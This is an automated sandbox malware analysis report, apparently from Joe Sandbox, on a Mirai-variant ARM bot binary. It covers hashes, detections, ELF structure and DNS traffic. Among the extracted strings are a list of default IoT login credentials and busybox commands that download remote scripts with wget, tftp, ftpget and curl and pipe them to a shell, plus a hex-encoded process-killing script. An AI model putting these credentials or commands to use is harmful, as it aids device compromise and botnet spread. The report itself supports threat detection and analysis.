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Linux Analysis Report
la.bot.arm6.elf

Overview

General Information

Sample name:la.bot.arm6.elf
Analysis ID:1541768
MD5:26731da23708e13a9ff586564e13939f
SHA1:aeffc850cd31f32e98d135a3225b4fbfec832070
SHA256:2c52b47e988f4bc5b0ce96b737be97816d21e23d75545a3a20a4e172bd4d73f9
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1541768
Start date and time:2024-10-25 05:58:12 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 25s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm6.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
  • VT rate limit hit for: daisy.ubuntu.com
Command:/tmp/la.bot.arm6.elf
PID:5521
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.arm6.elf (PID: 5521, Parent: 5440, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm6.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.arm6.elfAvira: detected
Source: la.bot.arm6.elfReversingLabs: Detection: 36%
Source: la.bot.arm6.elfString: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm6.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm6.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm6.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4T
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm6.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm6.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/11/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/22/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/55/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/66/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/88/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/99/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/111/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/222/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/333/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)File opened: /proc/777/mapsJump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 5521)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm6.elf, 5521.1.00007ffe40594000.00007ffe405b5000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm6.elf
Source: la.bot.arm6.elf, 5521.1.000055e30cff3000.000055e30d141000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 5521.1.000055e30cff3000.000055e30d141000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 5521.1.00007ffe40594000.00007ffe405b5000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm6.elf, 5521.1.00007ffe40594000.00007ffe405b5000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
la.bot.arm6.elf37%ReversingLabsLinux.Backdoor.Mirai
la.bot.arm6.elf100%AviraLINUX/GM.Mirai.LV
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    unknown
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.arm6.elffalse
      unknown
      http:///curl.shla.bot.arm6.elffalse
        unknown
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comla.bot.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.sh4.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm7.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.sh4.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.sparc.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.m68k.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.sh4.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.072530359967676
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.arm6.elf
        File size:80'800 bytes
        MD5:26731da23708e13a9ff586564e13939f
        SHA1:aeffc850cd31f32e98d135a3225b4fbfec832070
        SHA256:2c52b47e988f4bc5b0ce96b737be97816d21e23d75545a3a20a4e172bd4d73f9
        SHA512:3bedb0794403561cfc61a429080482008cc6a4d54a02a286771a2a57fb8573fffdaafad26e57009b15b0f5ce7a59d50578ef43569c0d86daa807b4b04db99b82
        SSDEEP:1536:RbnnlBx9xRhltxNlnQU7wEzD/0lN0dY+gWYUMX28DsihU2WgJtbonzsT:jn9xRhltn7X/IN0/gWKU2WgJtbon
        TLSH:9183D84AF981CE16C5D806BEFE0F568D332367A8D3DF7213DD14AB153B8A56B096B401
        File Content Preview:.ELF..............(.....T...4....9......4. ...(......................5...5...............5...5...5.......i..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.h9.......5....-.@0....S

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:ARM
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8154
        Flags:0x4000002
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:80320
        Section Header Size:40
        Number of Section Headers:12
        Header String Table Index:11
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80940x940x100x00x6AX004
        .textPROGBITS0x80b00xb00x115e40x00x6AX0016
        .finiPROGBITS0x196940x116940x100x00x6AX004
        .rodataPROGBITS0x196a40x116a40x1f300x00x2A004
        .eh_framePROGBITS0x235d40x135d40x40x00x3WA004
        .init_arrayINIT_ARRAY0x235d80x135d80x40x00x3WA004
        .fini_arrayFINI_ARRAY0x235dc0x135dc0x40x00x3WA004
        .gotPROGBITS0x235e40x135e40x740x40x3WA004
        .dataPROGBITS0x236580x136580x3100x00x3WA004
        .bssNOBITS0x239680x139680x65740x00x3WA004
        .shstrtabSTRTAB0x00x139680x570x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80000x80000x135d40x135d46.08980x5R E0x8000.init .text .fini .rodata
        LOAD0x135d40x235d40x235d40x3940x69084.15840x6RW 0x8000.eh_frame .init_array .fini_array .got .data .bss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
        TimestampSource PortDest PortSource IPDest IP
        Oct 25, 2024 05:59:01.558151007 CEST4900853192.168.2.158.8.8.8
        Oct 25, 2024 05:59:01.558223963 CEST5416253192.168.2.158.8.8.8
        Oct 25, 2024 05:59:01.565848112 CEST53490088.8.8.8192.168.2.15
        Oct 25, 2024 05:59:01.566050053 CEST53541628.8.8.8192.168.2.15
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Oct 25, 2024 05:59:01.558151007 CEST192.168.2.158.8.8.80x3d7dStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Oct 25, 2024 05:59:01.558223963 CEST192.168.2.158.8.8.80x3adbStandard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Oct 25, 2024 05:59:01.565848112 CEST8.8.8.8192.168.2.150x3d7dNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Oct 25, 2024 05:59:01.565848112 CEST8.8.8.8192.168.2.150x3d7dNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):03:58:57
        Start date (UTC):25/10/2024
        Path:/tmp/la.bot.arm6.elf
        Arguments:/tmp/la.bot.arm6.elf
        File size:4956856 bytes
        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1